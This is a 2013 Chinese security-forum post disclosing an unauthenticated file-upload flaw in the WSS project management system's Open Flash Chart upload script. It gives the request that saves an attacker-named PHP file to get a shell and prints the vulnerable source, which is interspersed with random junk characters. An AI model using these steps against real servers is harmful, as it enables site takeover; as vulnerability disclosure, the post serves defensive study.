找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2338|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存. P7 b" Q7 Z: m. c0 l+ K2 H
漏洞文件/chart/php-ofc-library/ofc_upload_image.php- E. `$ v( [% y7 V

* Q9 H; `! j" G  c2 ]利用:( \# b* h8 v; y+ w; m+ d
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名2 @# K0 A8 E  O0 Z# c
  T! \. _/ _( B# ~0 |0 f
Post任意数据
* y& A0 l# k, g3 O4 X保存位置http://localhost/chart/tmp-upload-images/hfy.php7 B$ e+ l' Z* j+ d- f4 l
) P, n' Q" w0 l7 M! m

" V& d) v( n8 H最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~' ]7 A: Y) g+ }' o9 y! U- w
/ D$ [: F, k4 v7 D/ Y) G5 V3 S
<?php
3 C2 l& c  Q, G+ l( L1 B7 Y
* B  W" P. Y; v$ T//
1 }& |5 P- `3 J& z1 V: o1 l) x// In Open Flash Chart -> save_image debug mode, you
% C$ ]+ s+ F, s& V0 W  B// will see the 'echo' text in a new window.. r* [: s" C/ J* z) p
//4 D& c3 Z% x  Z. D$ h
% c$ C; i0 g; o; R- L
/*
( n" \. ?4 {2 f) l$ [5 V+ ]7 E* a4 ?& X+ s) ?4 k# y+ F
print_r( $_GET );* D4 v4 W+ D) U/ G" Y8 }5 @
print_r( $_POST );
9 _1 H- U' B- B, L- x1 U$ Bprint_r( $_FILES );# y# K% |. r$ E7 [4 y7 O) B- N' C
& |8 s# a8 V( e+ v' u0 Y) g
print_r( $GLOBALS );
  O! N, J: M- w( s& Aprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
) R! x* z! K5 m/ V# I- ?5 V) G6 Z9 a. z  K
*/
, I3 K5 x& }. w2 s6 a8 |5 w// default path for the image to be stored //0 g  p  Z' q4 s
$default_path = '../tmp-upload-images/';5 a+ ^) D* A5 W, C; [

% u. q. }# ^6 n/ x% l7 P: J; vif (!file_exists($default_path)) mkdir($default_path, 0777, true);
+ _  c6 b! J; g) Q/ `! x: Q+ `$ C* w  i
// full path to the saved image including filename //
  ?/ G- T" n# Q- x! K7 a7 C$destination = $default_path . basename( $_GET[ 'name' ] ); 3 R5 |5 v$ @3 k$ {: \5 m' h7 \# A) z

6 `8 X7 W( J0 Q; w6 X6 [  c5 S& X/ ]+ cecho 'Saving your image to: '. $destination;
/ c$ y7 q; w+ r9 b3 ?9 z2 }# N// print_r( $_POST );
2 p; J4 ^. v, U; q& `+ T// print_r( $_SERVER );, n) D; g1 ]0 L
// echo $HTTP_RAW_POST_DATA;6 O4 `6 M" e0 D/ Y2 O

' p' D6 c: c- N//, \) d" l: `) S9 W
// POST data is usually string data, but we are passing a RAW .png" z- N4 X4 D$ e3 g& c' K) c. [
// so PHP is a bit confused and $_POST is empty. But it has saved. e2 H% T0 E" F8 X
// the raw bits into $HTTP_RAW_POST_DATA  X* d5 q/ b0 I
//! h- L5 j" U: J: x& v* f/ R

1 o4 M$ |4 J' |/ Q/ e5 \9 v$jfh = fopen($destination, 'w') or die("can't open file");
2 Y, g0 A# a" V1 cfwrite($jfh, $HTTP_RAW_POST_DATA);
+ W$ A5 h# e/ ^! s6 F& U5 `3 s0 o. Z  @fclose($jfh);
. a9 H6 q2 _1 h. Q- k- U2 j! d; ]$ l  ~& B% l' k; C  W$ z
//: o) K5 x; a# i8 b
// LOOK:
+ o/ o  ?% e( x/ \% Z//: ]: m" ], E. L; [
exit();
8 ]) ~6 _4 q6 X+ l//1 o$ Z. s% F4 E1 t6 K' H  C2 |4 }- e
// PHP5:& e. w+ d! ~9 B0 K% W" h$ y! |9 ?
//
" _* l% Y% {2 q) d* G. _. r  Y, T, P8 H, O8 u+ O
, ^: r* J, c4 p9 I4 n7 @
// default path for the image to be stored //
/ z0 t# r, ~. s$default_path = 'tmp-upload-images/';  E. l4 [# @% {) b
! u7 |: U# ^+ E5 A( y. @5 S
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
. i$ ?8 C$ G& |' W' u
& {0 `5 w" }9 J; G// full path to the saved image including filename //* R; Q( i: \" L: k2 I. @# Q
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); - T1 h8 Z" T" X/ _! t4 B' \- {2 C
6 e' d0 Q( _* w  ?3 Q2 m% u
// move the image into the specified directory //% C& {/ c! Q' v4 ~# X
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
9 x; H  v: {  s    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
6 D  \3 Q6 J; Q9 l5 n} else {
" O' t+ K$ W" x7 |    echo "FILE UPLOAD FAILED";
' u% F$ N3 r( @}
# ~3 ^) [' R5 L' j, p, z4 V. U
6 t/ _; k2 ]! `8 A! M
# u$ x, @& v" ^! B$ L& s?>. B0 W: _0 d8 m: I( ~% Q

: w( [# Q& \% a  k% o, I; l5 G7 \8 k! [( l; W+ n
7 ~1 T% P. J7 ?
- ^$ \# V/ `; }/ x1 N7 n- p

4 E" \/ @- O9 k( o, v
2 Y8 w1 ?1 J: }2 s6 {% i修复方案: # r; d4 t! L1 @. v3 Z) x1 \  V
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
- R. V/ f. ?- m" c" B. V* p0 r# r; o& r! W8 A' N

) k6 ~& S$ d: Q: F# m# l% h
- m8 Y0 A6 {: D6 ^$ C) s: U. w* v& R$ P' i

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表